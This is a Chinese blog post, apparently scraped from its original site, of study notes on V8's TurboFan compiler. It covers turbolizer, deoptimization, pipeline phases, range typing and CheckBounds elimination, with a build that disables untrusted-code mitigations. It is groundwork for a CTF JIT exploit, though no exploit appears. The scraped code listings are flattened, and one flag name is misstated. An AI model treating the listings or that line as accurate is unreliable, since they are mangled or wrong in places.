浅析 V8

您所在的位置:网站首页 turbofan轮毂 浅析 V8

浅析 V8

2024-01-18 07:05| 来源: 网络整理| 查看: 265

一、前言

v8 是一种 JS 引擎的实现,它由Google开发,使用C++编写。

v8 被设计用于提高网页浏览器内部 JavaScript 代码执行的性能。为了提高性能,v8 将会把 JS 代码转换为更高效的机器码,而非传统的使用解释器执行。因此 v8 引入了 JIT (Just-In-Time) 机制,该机制将会在运行时动态编译 JS 代码为机器码,以提高运行速度。

TurboFan是 v8 的优化编译器之一,它使用了 sea of nodes 这个编译器概念。

sea of nodes 不是单纯的指某个图的结点,它是一种特殊中间表示的图。

它的表示形式与一般的CFG/DFG不同,其具体内容请查阅上面的连接。

TurboFan的相关源码位于v8/compiler文件夹下。

这是笔者初次学习v8 turboFan所写下的笔记,内容包括但不限于turboFan运行参数的使用、部分OptimizationPhases的工作机理,以及拿来练手的GoogleCTF 2018(Final) Just-In-Time题题解。

该笔记基于 Introduction to TurboFan 并适当拓宽了一部分内容。如果在阅读文章时发现错误或者存在不足之处,欢迎各位师傅斧正!

二、环境搭建

这里的环境搭建较为简单,首先搭配一个 v8 环境(必须,没有 v8 环境要怎么研究 v8, 2333)。这里使用的版本号是7.0.276.3。

如何搭配v8环境?请移步 下拉&编译 chromium&v8 代码

这里需要补充一下,v8 的 gn args中必须加一个v8_untrusted_code_mitigations = false的标志,即最后使用的gn args如下:

12345678# Set build arguments here. See `gn help buildargs`.is_debug = truetarget_cpu = "x64"v8_enable_backtrace = truev8_enable_slow_dchecks = truev8_optimized_debug = false# 加上这个v8_untrusted_code_mitigations = false

具体原因将在下面讲解CheckBounds结点优化时提到。

然后安装一下 v8 的turbolizer,turbolizer将用于调试 v8 TurboFan中sea of nodes图的工具。

1234567cd v8/tools/turbolizer# 获取依赖项npm i# 构建npm run-script build# 直接在turbolizer文件夹下启动静态http服务python -m SimpleHTTPServer

构建turbolizer时可能会报一些TypeScript的语法错误ERROR,这些ERROR无伤大雅,不影响turbolizer的功能使用。

turbolizer 的使用方式如下:

首先编写一段测试函数

123456789101112131415161718192021// 目标优化函数function opt_me(b) { let values = [42,1337]; let x = 10; if (b == "foo") x = 5; let y = x + 2; y = y + 1000; y = y * 2; y = y & 10; y = y / 3; y = y & 1; return values[y];}// 必须!在优化该函数前必须先进行一次编译,以便于为该函数提供type feedbackopt_me();// 必须! 使用v8 natives-syntax来强制优化该函数%OptimizeFunctionOnNextCall(opt_me);// 必须! 不调用目标函数则无法执行优化opt_me();

一定要在执行%OptimizeFunctionOnNextCall(opt_me)之前调用一次目标函数,否则生成的graph将会因为没有type feedback而导致完全不一样的结果。

需要注意的是type feedback有点玄学,在执行OptimizeFunctionOnNextCall前,如果目标函数内部存在一些边界操作(例如多次使用超过Number.MAX_SAFE_INTEGER大小的整数等),那么调用目标函数的方式可能会影响turboFan的功能,包括但不限于传入参数的不同、调用目标函数次数的不同等等等等。

因此在执行%OptimizeFunctionOnNextCall前,目标函数的调用方式,必须自己把握,手动确认调用几次,传入什么参数会优化出特定的效果。

若想优化一个函数,除了可以使用%OptimizeFunctionOnNextCall以外,还可以多次执行该函数(次数要大,建议上for循环)来触发优化。

然后使用 d8 执行,不过需要加上--trace-turbo参数。

123456$ ../../v8/v8/out.gn/x64.debug/d8 test.js --allow-natives-syntax --trace-turbo Concurrent recompilation has been disabled for tracing.---------------------------------------------------Begin compiling method opt_me using Turbofan---------------------------------------------------Finished compiling method opt_me using Turbofan

之后本地就会生成turbo.cfg和turbo-xxx-xx.json文件。

使用浏览器打开127.0.0.1:8000(注意之前在turbolizer文件夹下启动了http服务)

然后点击右上角的3号按钮,在文件选择窗口中选择刚刚生成的turbo-xxx-xx.json文件,之后就会显示以下信息:

不过这里的结点只显示了控制结点,如果需要显示全部结点,则先点击一下上方的2号按钮,将结点全部展开,之后再点击1号按钮,重新排列:

三、turboFan的代码优化

我们可以使用 --trace-opt参数来追踪函数的优化信息。以下是函数opt_me被turboFan优化时所生成的信息。

1234$ ../../v8/v8/out.gn/x64.debug/d8 test.js --allow-natives-syntax --trace-opt [manually marking 0x0a7a24823759 for non-concurrent optimization][compiling method 0x0a7a24823759 using TurboFan][optimizing 0x0a7a24823759 - took 53.965, 19.410, 0.667 ms]

上面输出中的manually marking即我们在代码中手动设置的%OptimizeFunctionOnNextCall。

我们可以使用 v8 本地语法来查看优化前和优化后的机器码(使用%DisassembleFunction本地语法)

输出信息过长,这里只截取一部分输出。

12345678910111213141516171819202122232425262728$ ../../v8/v8/out.gn/x64.debug/d8 test.js --allow-natives-syntax 0x2b59fe964c1: [Code] - map: 0x05116bd02ae9 kind = BUILTINname = InterpreterEntryTrampolinecompiler = unknownaddress = 0x2b59fe964c1Instructions (size = 995)0x2b59fe96500 0 488b5f27 REX.W movq rbx,[rdi+0x27]0x2b59fe96504 4 488b5b07 REX.W movq rbx,[rbx+0x7]0x2b59fe96508 8 488b4b0f REX.W movq rcx,[rbx+0xf]....0x2b59ff49541: [Code] - map: 0x05116bd02ae9 kind = OPTIMIZED_FUNCTIONstack_slots = 5compiler = turbofanaddress = 0x2b59ff49541Instructions (size = 212)0x2b59ff49580 0 488d1df9ffffff REX.W leaq rbx,[rip+0xfffffff9]0x2b59ff49587 7 483bd9 REX.W cmpq rbx,rcx0x2b59ff4958a a 7418 jz 0x2b59ff495a4 0x2b59ff4958c c 48ba000000003e000000 REX.W movq rdx,0x3e00000000...

可以看到,所生成的代码长度从原先的995,优化为212,大幅度优化了代码。

需要注意的是,即便不使用%OptimizeFunctionOnNextCall,将opt_me函数重复执行一定次数,一样可以触发TurboFan的优化。

细心的小伙伴应该可以在上面环境搭建的图中看到deoptimize反优化。为什么需要反优化?这就涉及到turboFan的优化机制。以下面这个js代码为例(注意:没有使用%OptimizeFunctionOnNextCall)

123456789101112131415161718class Player{}class Wall{}function move(obj) { var tmp = obj.x + 42; var x = Math.random(); x += 1; return tmp + x;}for (var i = 0; i < 0x10000; ++i) { move(new Player());}move(new Wall());for (var i = 0; i < 0x10000; ++i) { move(new Wall());}

跟踪一下该代码的opt以及deopt:

123456789101112131415161718192021222324252627$ ../../v8/v8/out.gn/x64.debug/d8 test.js --allow-natives-syntax --trace-opt --trace-deopt [marking 0x3c72eab23a99 for optimized recompilation, reason: small function, ICs with typeinfo: 7/7 (100%), generic ICs: 0/7 (0%)][compiling method 0x3c72eab23a99 using TurboFan][optimizing 0x3c72eab23a99 - took 6.583, 2.385, 0.129 ms][completed optimizing 0x3c72eab23a99 ]# 分割线---------------------------------------------------------------------[marking 0x3c72eab238e9 for optimized recompilation, reason: hot and stable, ICs with typeinfo: 7/13 (53%), generic ICs: 0/13 (0%)][compiling method 0x3c72eab238e9 using TurboFan OSR][optimizing 0x3c72eab238e9 - took 3.684, 7.337, 0.409 ms]# 分割线---------------------------------------------------------------------[deoptimizing (DEOPT soft): begin 0x3c72eab238e9 (opt #1) @6, FP to SP delta: 104, caller sp: 0x7ffed15d2a08] ;;; deoptimize at , Insufficient type feedback for construct ... [deoptimizing (soft): end 0x3c72eab238e9 @6 => node=154, pc=0x7f0d956522e0, caller sp=0x7ffed15d2a08, took 0.496 ms][deoptimizing (DEOPT eager): begin 0x3c72eab23a99 (opt #0) @1, FP to SP delta: 24, caller sp: 0x7ffed15d2990] ;;; deoptimize at , wrong map ... [deoptimizing (eager): end 0x3c72eab23a99 @1 => node=0, pc=0x7f0d956522e0, caller sp=0x7ffed15d2990, took 0.355 ms]# 分割线---------------------------------------------------------------------[marking 0x3c72eab23a99 for optimized recompilation, reason: small function, ICs with typeinfo: 7/7 (100%), generic ICs: 0/7 (0%)][compiling method 0x3c72eab23a99 using TurboFan][optimizing 0x3c72eab23a99 - took 1.435, 2.427, 0.159 ms][completed optimizing 0x3c72eab23a99 ][compiling method 0x3c72eab238e9 using TurboFan OSR][optimizing 0x3c72eab238e9 - took 3.399, 6.299, 0.239 ms] 首先,move函数被标记为可优化的(optimized recompilation),原因是该函数为small function。然后便开始重新编译以及优化。 之后,move函数再一次被标记为可优化的,原因是hot and stable。这是因为 v8 首先生成的是 ignition bytecode。 如果某个函数被重复执行多次,那么TurboFan就会重新生成一些优化后的代码。

以下是获取优化理由的的v8代码。如果该JS函数可被优化,则将在外部的v8函数中,mark该JS函数为待优化的。

1234567891011121314151617181920212223242526272829303132333435OptimizationReason RuntimeProfiler::ShouldOptimize(JSFunction* function, JavaScriptFrame* frame) { SharedFunctionInfo* shared = function->shared(); int ticks = function->feedback_vector()->profiler_ticks(); if (shared->GetBytecodeArray()->length() > kMaxBytecodeSizeForOpt) { return OptimizationReason::kDoNotOptimize; } int ticks_for_optimization = kProfilerTicksBeforeOptimization + (shared->GetBytecodeArray()->length() / kBytecodeSizeAllowancePerTick); // 如果执行次数较多,则标记为HotAndStable if (ticks >= ticks_for_optimization) { return OptimizationReason::kHotAndStable; // 如果函数较小,则为 small function } else if (!any_ic_changed_ && shared->GetBytecodeArray()->length() PrintName(); PrintF(", not enough ticks: %d/%d and ", ticks, kProfilerTicksBeforeOptimization); if (any_ic_changed_) { PrintF("ICs changed]\n"); } else { PrintF(" too large for small function optimization: %d/%d]\n", shared->GetBytecodeArray()->length(), kMaxBytecodeSizeForEarlyOpt); } } return OptimizationReason::kDoNotOptimize;}

但接下来就开始deopt move函数了,原因是Insufficient type feedback for construct,目标代码是move(new Wall())中的new Wall()。

这是因为turboFan的代码优化基于推测,即speculative optimizations。当我们多次执行move(new Player())时,turboFan会猜测move函数的参数总是Player对象,因此将move函数优化为更适合Player对象执行的代码,这样使得Player对象使用move函数时速度将会很快。

这种猜想机制需要一种反馈来动态修改猜想,那么这种反馈就是 type feedback,Ignition instructions将利用 type feedback来帮助TurboFan的speculative optimizations。

v8源码中,JSFunction类中存在一个类型为FeedbackVector的成员变量,该FeedbackVector将在JS函数被编译后启用。

因此一旦传入的参数不再是Player类型,即刚刚所说的Wall类型,那么将会使得猜想不成立,因此立即反优化,即销毁一部分的ignition bytecode并重新生成。

需要注意的是,反优化机制(deoptimization)有着巨大的性能成本,应尽量避免反优化的产生。

下一个deopt的原因为wrong map。这里的map可以暂时理解为类型。与上一条deopt的原因类似,所生成的move优化函数只是针对于Player对象,因此一旦传入一个Wall对象,那么传入的类型就与函数中的类型不匹配,所以只能开始反优化。

如果我们在代码中来回使用Player对象和Wall对象,那么TurboFan也会综合考虑,并相应的再次优化代码。

四、turboFan的执行流程

turboFan的代码优化有多条执行流,其中最常见到的是下面这条:

从Runtime_CompileOptimized_Concurrent函数开始,设置并行编译&优化 特定的JS函数

12345678910111213141516// v8\src\runtime\runtime-compiler.cc 46RUNTIME_FUNCTION(Runtime_CompileOptimized_Concurrent) { HandleScope scope(isolate); DCHECK_EQ(1, args.length()); CONVERT_ARG_HANDLE_CHECKED(JSFunction, function, 0); StackLimitCheck check(isolate); if (check.JsHasOverflowed(kStackSpaceRequiredForCompilation * KB)) { return isolate->StackOverflow(); } // 设置并行模式,之后开始编译与优化 if (!Compiler::CompileOptimized(function, ConcurrencyMode::kConcurrent)) { return ReadOnlyRoots(isolate).exception(); } DCHECK(function->is_compiled()); return function->code();}

在Compiler::CompileOptimized函数中,继续执行GetOptimizedCode函数,并将可能生成的优化代码传递给JSFunction对象。

123456789101112131415161718192021222324252627282930313233// v8\src\compiler.ccbool Compiler::CompileOptimized(Handle function, ConcurrencyMode mode) { if (function->IsOptimized()) return true; Isolate* isolate = function->GetIsolate(); DCHECK(AllowCompilation::IsAllowed(isolate)); // Start a compilation. Handle code; if (!GetOptimizedCode(function, mode).ToHandle(&code)) { // Optimization failed, get unoptimized code. Unoptimized code must exist // already if we are optimizing. DCHECK(!isolate->has_pending_exception()); DCHECK(function->shared()->is_compiled()); DCHECK(function->shared()->IsInterpreted()); code = BUILTIN_CODE(isolate, InterpreterEntryTrampoline); } // Install code on closure. function->set_code(*code); // Check postconditions on success. DCHECK(!isolate->has_pending_exception()); DCHECK(function->shared()->is_compiled()); DCHECK(function->is_compiled()); DCHECK_IMPLIES(function->HasOptimizationMarker(), function->IsInOptimizationQueue()); DCHECK_IMPLIES(function->HasOptimizationMarker(), function->ChecksOptimizationMarker()); DCHECK_IMPLIES(function->IsInOptimizationQueue(), mode == ConcurrencyMode::kConcurrent); return true;}

GetOptimizedCode的函数代码如下:

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110// v8\src\compiler.ccMaybeHandle GetOptimizedCode(Handle function, ConcurrencyMode mode, BailoutId osr_offset = BailoutId::None(), JavaScriptFrame* osr_frame = nullptr) { Isolate* isolate = function->GetIsolate(); Handle shared(function->shared(), isolate); // Make sure we clear the optimization marker on the function so that we // don't try to re-optimize. if (function->HasOptimizationMarker()) { function->ClearOptimizationMarker(); } if (isolate->debug()->needs_check_on_function_call()) { // Do not optimize when debugger needs to hook into every call. return MaybeHandle(); } Handle cached_code; if (GetCodeFromOptimizedCodeCache(function, osr_offset) .ToHandle(&cached_code)) { if (FLAG_trace_opt) { PrintF("[found optimized code for "); function->ShortPrint(); if (!osr_offset.IsNone()) { PrintF(" at OSR AST id %d", osr_offset.ToInt()); } PrintF("]\n"); } return cached_code; } // Reset profiler ticks, function is no longer considered hot. DCHECK(shared->is_compiled()); function->feedback_vector()->set_profiler_ticks(0); VMState state(isolate); DCHECK(!isolate->has_pending_exception()); PostponeInterruptsScope postpone(isolate); bool has_script = shared->script()->IsScript(); // BUG(5946): This DCHECK is necessary to make certain that we won't // tolerate the lack of a script without bytecode. DCHECK_IMPLIES(!has_script, shared->HasBytecodeArray()); std::unique_ptr job( compiler::Pipeline::NewCompilationJob(isolate, function, has_script)); OptimizedCompilationInfo* compilation_info = job->compilation_info(); compilation_info->SetOptimizingForOsr(osr_offset, osr_frame); // Do not use TurboFan if we need to be able to set break points. if (compilation_info->shared_info()->HasBreakInfo()) { compilation_info->AbortOptimization(BailoutReason::kFunctionBeingDebugged); return MaybeHandle(); } // Do not use TurboFan when %NeverOptimizeFunction was applied. if (shared->optimization_disabled() && shared->disable_optimization_reason() == BailoutReason::kOptimizationDisabledForTest) { compilation_info->AbortOptimization( BailoutReason::kOptimizationDisabledForTest); return MaybeHandle(); } // Do not use TurboFan if optimization is disabled or function doesn't pass // turbo_filter. if (!FLAG_opt || !shared->PassesFilter(FLAG_turbo_filter)) { compilation_info->AbortOptimization(BailoutReason::kOptimizationDisabled); return MaybeHandle(); } TimerEventScope optimize_code_timer(isolate); RuntimeCallTimerScope runtimeTimer(isolate, RuntimeCallCounterId::kOptimizeCode); TRACE_EVENT0(TRACE_DISABLED_BY_DEFAULT("v8.compile"), "V8.OptimizeCode"); // In case of concurrent recompilation, all handles below this point will be // allocated in a deferred handle scope that is detached and handed off to // the background thread when we return. base::Optional compilation; if (mode == ConcurrencyMode::kConcurrent) { compilation.emplace(isolate, compilation_info); } // All handles below will be canonicalized. CanonicalHandleScope canonical(isolate); // Reopen handles in the new CompilationHandleScope. compilation_info->ReopenHandlesInNewHandleScope(isolate); if (mode == ConcurrencyMode::kConcurrent) { if (GetOptimizedCodeLater(job.get(), isolate)) { job.release(); // The background recompile job owns this now. // Set the optimization marker and return a code object which checks it. function->SetOptimizationMarker(OptimizationMarker::kInOptimizationQueue); DCHECK(function->IsInterpreted() || (!function->is_compiled() && function->shared()->IsInterpreted())); DCHECK(function->shared()->HasBytecodeArray()); return BUILTIN_CODE(isolate, InterpreterEntryTrampoline); } } else { if (GetOptimizedCodeNow(job.get(), isolate)) return compilation_info->code(); } if (isolate->has_pending_exception()) isolate->clear_pending_exception(); return MaybeHandle();}

函数代码有点长,这里总结一下所做的操作:

如果之前该函数被mark为待优化的,则取消该mark(回想一下--trace-opt的输出)

如果debugger需要hook该函数,或者在该函数上下了断点,则不优化该函数,直接返回。

如果之前已经优化过该函数(存在OptimizedCodeCache),则直接返回之前优化后的代码。

重置当前函数的profiler ticks,使得该函数不再hot,这样做的目的是使当前函数不被重复优化。

如果设置了一些禁止优化的参数(例如%NeverOptimizeFunction,或者设置了turbo_filter),则取消当前函数的优化。

以上步骤完成后则开始优化代码,优化代码也有两种不同的方式,分别是并行优化和非并行优化。在大多数情况下执行的都是并行优化,因为速度更快。

并行优化会先执行GetOptimizedCodeLater函数,在该函数中判断一些异常条件,例如任务队列已满或者内存占用过高。如果没有异常条件,则执行OptimizedCompilationJob::PrepareJob函数,并继续在更深层次的调用PipelineImpl::CreateGraph来建图。

如果GetOptimizedCodeLater函数工作正常,则将会把优化任务Job放入任务队列中。任务队列将安排另一个线程执行优化操作。

另一个线程的栈帧如下,该线程将执行Job->ExecuteJob并在更深层次调用PipelineImpl::OptimizeGraph来优化之前建立的图结构:

当另一个线程在优化代码时,主线程可以继续执行其他任务:

综上我们可以得知,JIT最终的优化位于PipelineImpl类中,包括建图以及优化图等

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647// v8\src\compiler\pipeline.ccclass PipelineImpl final { public: explicit PipelineImpl(PipelineData* data) : data_(data) {} // Helpers for executing pipeline phases. template void Run(); template void Run(Arg0 arg_0); template void Run(Arg0 arg_0, Arg1 arg_1); // Step A. Run the graph creation and initial optimization passes. bool CreateGraph(); // B. Run the concurrent optimization passes. bool OptimizeGraph(Linkage* linkage); // Substep B.1. Produce a scheduled graph. void ComputeScheduledGraph(); // Substep B.2. Select instructions from a scheduled graph. bool SelectInstructions(Linkage* linkage); // Step C. Run the code assembly pass. void AssembleCode(Linkage* linkage); // Step D. Run the code finalization pass. MaybeHandle FinalizeCode(); // Step E. Install any code dependencies. bool CommitDependencies(Handle code); void VerifyGeneratedCodeIsIdempotent(); void RunPrintAndVerify(const char* phase, bool untyped = false); MaybeHandle GenerateCode(CallDescriptor* call_descriptor); void AllocateRegisters(const RegisterConfiguration* config, CallDescriptor* call_descriptor, bool run_verifier); OptimizedCompilationInfo* info() const; Isolate* isolate() const; CodeGenerator* code_generator() const; private: PipelineData* const data_;}; 五、初探optimization phases 1. 简介

与LLVM IR的各种Pass类似,turboFan中使用各类phases进行建图、搜集信息以及简化图。

以下是PipelineImpl::CreateGraph函数源码,其中使用了大量的Phase。这些Phase有些用于建图,有些用于优化(在建图时也会执行一部分简单的优化),还有些为接下来的优化做准备:

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273bool PipelineImpl::CreateGraph() { PipelineData* data = this->data_; data->BeginPhaseKind("graph creation"); if (info()->trace_turbo_json_enabled() || info()->trace_turbo_graph_enabled()) { CodeTracer::Scope tracing_scope(data->GetCodeTracer()); OFStream os(tracing_scope.file()); os trace_turbo_json_enabled()) { data->node_origins()->AddDecorator(); } Run(); RunPrintAndVerify(GraphBuilderPhase::phase_name(), true); // Perform function context specialization and inlining (if enabled). Run(); RunPrintAndVerify(InliningPhase::phase_name(), true); // Remove dead->live edges from the graph. Run(); RunPrintAndVerify(EarlyGraphTrimmingPhase::phase_name(), true); // Run the type-sensitive lowerings and optimizations on the graph. { // Determine the Typer operation flags. Typer::Flags flags = Typer::kNoFlags; if (is_sloppy(info()->shared_info()->language_mode()) && info()->shared_info()->IsUserJavaScript()) { // Sloppy mode functions always have an Object for this. flags |= Typer::kThisIsReceiver; } if (IsClassConstructor(info()->shared_info()->kind())) { // Class constructors cannot be [[Call]]ed. flags |= Typer::kNewTargetIsReceiver; } // Type the graph and keep the Typer running on newly created nodes within // this scope; the Typer is automatically unlinked from the Graph once we // leave this scope below. Typer typer(isolate(), data->js_heap_broker(), flags, data->graph()); Run(&typer); RunPrintAndVerify(TyperPhase::phase_name()); // Do some hacky things to prepare for the optimization phase. // (caching handles, etc.). Run(); if (FLAG_concurrent_compiler_frontend) { data->js_heap_broker()->SerializeStandardObjects(); Run(); } // Lower JSOperators where we can determine types. Run(); RunPrintAndVerify(TypedLoweringPhase::phase_name()); } data->EndPhaseKind(); return true;}

PipelineImpl::OptimizeGraph函数代码如下,该函数将会对所建立的图进行优化:

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990bool PipelineImpl::OptimizeGraph(Linkage* linkage) { PipelineData* data = this->data_; data->BeginPhaseKind("lowering"); if (data->info()->is_loop_peeling_enabled()) { Run(); RunPrintAndVerify(LoopPeelingPhase::phase_name(), true); } else { Run(); RunPrintAndVerify(LoopExitEliminationPhase::phase_name(), true); } if (FLAG_turbo_load_elimination) { Run(); RunPrintAndVerify(LoadEliminationPhase::phase_name()); } if (FLAG_turbo_escape) { Run(); if (data->compilation_failed()) { info()->AbortOptimization( BailoutReason::kCyclicObjectStateDetectedInEscapeAnalysis); data->EndPhaseKind(); return false; } RunPrintAndVerify(EscapeAnalysisPhase::phase_name()); } // Perform simplified lowering. This has to run w/o the Typer decorator, // because we cannot compute meaningful types anyways, and the computed types // might even conflict with the representation/truncation logic. Run(); RunPrintAndVerify(SimplifiedLoweringPhase::phase_name(), true); // From now on it is invalid to look at types on the nodes, because the types // on the nodes might not make sense after representation selection due to the // way we handle truncations; if we'd want to look at types afterwards we'd // essentially need to re-type (large portions of) the graph. // In order to catch bugs related to type access after this point, we now // remove the types from the nodes (currently only in Debug builds).#ifdef DEBUG Run(); RunPrintAndVerify(UntyperPhase::phase_name(), true);#endif // Run generic lowering pass. Run(); RunPrintAndVerify(GenericLoweringPhase::phase_name(), true); data->BeginPhaseKind("block building"); // Run early optimization pass. Run(); RunPrintAndVerify(EarlyOptimizationPhase::phase_name(), true); Run(); RunPrintAndVerify(EffectControlLinearizationPhase::phase_name(), true); if (FLAG_turbo_store_elimination) { Run(); RunPrintAndVerify(StoreStoreEliminationPhase::phase_name(), true); } // Optimize control flow. if (FLAG_turbo_cf_optimization) { Run(); RunPrintAndVerify(ControlFlowOptimizationPhase::phase_name(), true); } // Optimize memory access and allocation operations. Run(); // TODO(jarin, rossberg): Remove UNTYPED once machine typing works. RunPrintAndVerify(MemoryOptimizationPhase::phase_name(), true); // Lower changes that have been inserted before. Run(); // TODO(jarin, rossberg): Remove UNTYPED once machine typing works. RunPrintAndVerify(LateOptimizationPhase::phase_name(), true); data->source_positions()->RemoveDecorator(); if (data->info()->trace_turbo_json_enabled()) { data->node_origins()->RemoveDecorator(); } ComputeScheduledGraph(); return SelectInstructions(linkage);}

由于上面两个函数涉及到的Phase众多,这里请各位自行阅读源码来了解各个Phase的具体功能。

接下来我们只介绍几个比较重要的Phases:GraphBuilderPhase、TyperPhase和SimplifiedLoweringPhase。

2. GraphBuilderPhase

GraphBuilderPhase将遍历字节码,并建一个初始的图,这个图将用于接下来Phase的处理,包括但不限于各种代码优化。

一个简单的例子

3. TyperPhase

TyperPhase将会遍历整个图的所有结点,并给每个结点设置一个Type属性,该操作将在建图完成后被执行

给每个结点设置Type的操作是不是极其类似于编译原理中的语义分析呢? XD

1234567891011121314151617181920bool PipelineImpl::CreateGraph() { // ... Run(); RunPrintAndVerify(GraphBuilderPhase::phase_name(), true); // ... // Run the type-sensitive lowerings and optimizations on the graph. { // ... // Type the graph and keep the Typer running on newly created nodes within // this scope; the Typer is automatically unlinked from the Graph once we // leave this scope below. Typer typer(isolate(), data->js_heap_broker(), flags, data->graph()); Run(&typer); RunPrintAndVerify(TyperPhase::phase_name()); // ... } // ...}

其中,具体执行的是TyperPhase::Run函数:

12345678struct TyperPhase { static const char* phase_name() { return "typer"; } void Run(PipelineData* data, Zone* temp_zone, Typer* typer) { // ... typer->Run(roots, &induction_vars); }};

在该函数中继续调用Typer::Run函数,并在GraphReducer::ReduceGraph函数中最终调用到Typer::Visitor::Reduce函数:

12345678910void Typer::Run(const NodeVector& roots, LoopVariableOptimizer* induction_vars) { // ... Visitor visitor(this, induction_vars); GraphReducer graph_reducer(zone(), graph()); graph_reducer.AddReducer(&visitor); for (Node* const root : roots) graph_reducer.ReduceNode(root); graph_reducer.ReduceGraph(); // ...}

在Typer::Visitor::Reduce函数中存在一个较大的switch结构,通过该switch结构,当Visitor遍历每个node时,即可最终调用到对应的XXXTyper函数。

例如,对于一个JSCall结点,将在TyperPhase中最终调用到Typer::Visitor::JSCallTyper

这里我们简单看一下JSCallTyper函数源码,该函数中存在一个很大的switch结构,该结构将设置每个Builtin函数结点的Type属性,即函数的返回值类型。

123456789101112Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) { if (!fun.IsHeapConstant() || !fun.AsHeapConstant()->Ref().IsJSFunction()) { return Type::NonInternal(); } JSFunctionRef function = fun.AsHeapConstant()->Ref().AsJSFunction(); if (!function.shared().HasBuiltinFunctionId()) { return Type::NonInternal(); } switch (function.shared().builtin_function_id()) { case BuiltinFunctionId::kMathRandom: return Type::PlainNumber(); // ...

而对于一个常数NumberConstant类型,TyperPhase也会打上一个对应的类型

12345Type Typer::Visitor::TypeNumberConstant(Node* node) // 注意这里使用的是double,这也就说明了为什么Number.MAX_SAFE_INTEGER = 9007199254740991 double number = OpParameter(node->op()); return Type::NewConstant(number, zone());}

而在Type::NewConstant函数中,我们会发现一个神奇的设计:

12345678910111213141516Type Type::NewConstant(double value, Zone* zone) { // 对于一个正常的整数 if (RangeType::IsInteger(value)) { // 实际上所设置的Type是一个range! return Range(value, value, zone); // 否则如果是一个异常的-0,则返回对应的MinusZero } else if (IsMinusZero(value)) { return Type::MinusZero(); // 如果是NAN,则返回NaN } else if (std::isnan(value)) { return Type::NaN(); } DCHECK(OtherNumberConstantType::IsOtherNumberConstant(value)); return OtherNumberConstant(value, zone);}

对于JS代码中的一个NumberConstant,实际上设置的Type是一个Range,只不过这个Range的首尾范围均是该数,例如NumberConstant(3) => Range(3, 3, zone)

以下这张图可以证明TyperPhase正如预期那样执行:

与之相应的,v8采用了SSA。因此对于一个Phi结点,它将设置该节点的Type为几个可能值的Range的并集。

12345678Type Typer::Visitor::TypePhi(Node* node) { int arity = node->op()->ValueInputCount(); Type type = Operand(node, 0); for (int i = 1; i < arity; ++i) { type = Type::Union(type, Operand(node, i), zone()); } return type;}

请看以下示例:

4. SimplifiedLoweringPhase

SimplifiedLoweringPhase会遍历结点做一些处理,同时也会对图做一些优化操作。

这里我们只关注该Phase优化CheckBound的细节,因为CheckBound通常是用于判断 JS数组(例如ArrayBuffer) 是否越界使用 所设置的结点。

首先我们可以通过以下路径来找到优化CheckBound的目标代码:

1234SimplifiedLoweringPhase::Run SimplifiedLowering::LowerAllNodes RepresentationSelector::Run RepresentationSelector::VisitNode

目标代码如下:

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253// Dispatching routine for visiting the node {node} with the usage {use}. // Depending on the operator, propagate new usage info to the inputs. void VisitNode(Node* node, Truncation truncation, SimplifiedLowering* lowering) { // Unconditionally eliminate unused pure nodes (only relevant if there's // a pure operation in between two effectful ones, where the last one // is unused). // Note: We must not do this for constants, as they are cached and we // would thus kill the cached {node} during lowering (i.e. replace all // uses with Dead), but at that point some node lowering might have // already taken the constant {node} from the cache (while it was in // a sane state still) and we would afterwards replace that use with // Dead as well. if (node->op()->ValueInputCount() > 0 && node->op()->HasProperty(Operator::kPure)) { if (truncation.IsUnused()) return VisitUnused(node); } switch (node->opcode()) { // ... case IrOpcode::kCheckBounds: { const CheckParameters& p = CheckParametersOf(node->op()); Type index_type = TypeOf(node->InputAt(0)); Type length_type = TypeOf(node->InputAt(1)); if (index_type.Is(Type::Integral32OrMinusZero())) { // Map -0 to 0, and the values in the [-2^31,-1] range to the // [2^31,2^32-1] range, which will be considered out-of-bounds // as well, because the {length_type} is limited to Unsigned31. VisitBinop(node, UseInfo::TruncatingWord32(), MachineRepresentation::kWord32); if (lower() && lowering->poisoning_level_ == PoisoningMitigationLevel::kDontPoison) { // 可以看到,如果当前索引的最大值小于length的最小值,则表示当前索引的使用没有越界 if (index_type.IsNone() || length_type.IsNone() || (index_type.Min() >= 0.0 && index_type.Max() < length_type.Min())) { // The bounds check is redundant if we already know that // the index is within the bounds of [0.0, length[. // CheckBound将会被优化 DeferReplacement(node, node->InputAt(0)); } } } else { VisitBinop( node, UseInfo::CheckedSigned32AsWord32(kIdentifyZeros, p.feedback()), UseInfo::TruncatingWord32(), MachineRepresentation::kWord32); } return; } // .... } // ... }

可以看到,在CheckBound的优化判断逻辑中,如果当前索引的最大值小于length的最小值,则表示当前索引的使用没有越界,此时将会移除CheckBound结点以简化IR图。

需要注意NumberConstant结点的Type是一个Range类型,因此才会有最大值Max和最小值Min的概念。

这里需要解释一下环境搭配中所说的,为什么要添加一个编译参数v8_optimized_debug = false,注意看上面判断条件中的这行条件

12if (lower() && lowering->poisoning_level_ == PoisoningMitigationLevel::kDontPoison)

visitNode时有三个状态,分别是Phase::PROPAGATE(信息收集)、Phase::RETYPE(从类型反馈中获取类型)以及Phase::LOWER(开始优化)。当真正开始优化时,lower()条件自然成立,因此我们无需处理这个。

但对于下一个条件,通过动态调试可以得知,poisoning_level始终不为PoisoningMitigationLevel::kDontPoison。通过追溯lowering->poisoning_level_,我们可以发现它实际上在PipelineCompilationJob::PrepareJobImpl中被设置

12345678910111213PipelineCompilationJob::Status PipelineCompilationJob::PrepareJobImpl( Isolate* isolate) { // ...// Compute and set poisoning level. PoisoningMitigationLevel load_poisoning = PoisoningMitigationLevel::kDontPoison; if (FLAG_branch_load_poisoning) { load_poisoning = PoisoningMitigationLevel::kPoisonAll; } else if (FLAG_untrusted_code_mitigations) { load_poisoning = PoisoningMitigationLevel::kPoisonCriticalOnly; } // ...}

而FLAG_branch_load_poisoning始终为false,FLAG_untrusted_code_mitigations始终为true

编译参数v8_untrusted_code_mitigations 默认 true,使得宏DISABLE_UNTRUSTED_CODE_MITIGATIONS没有被定义,因此默认设置FLAG_untrusted_code_mitigations = true

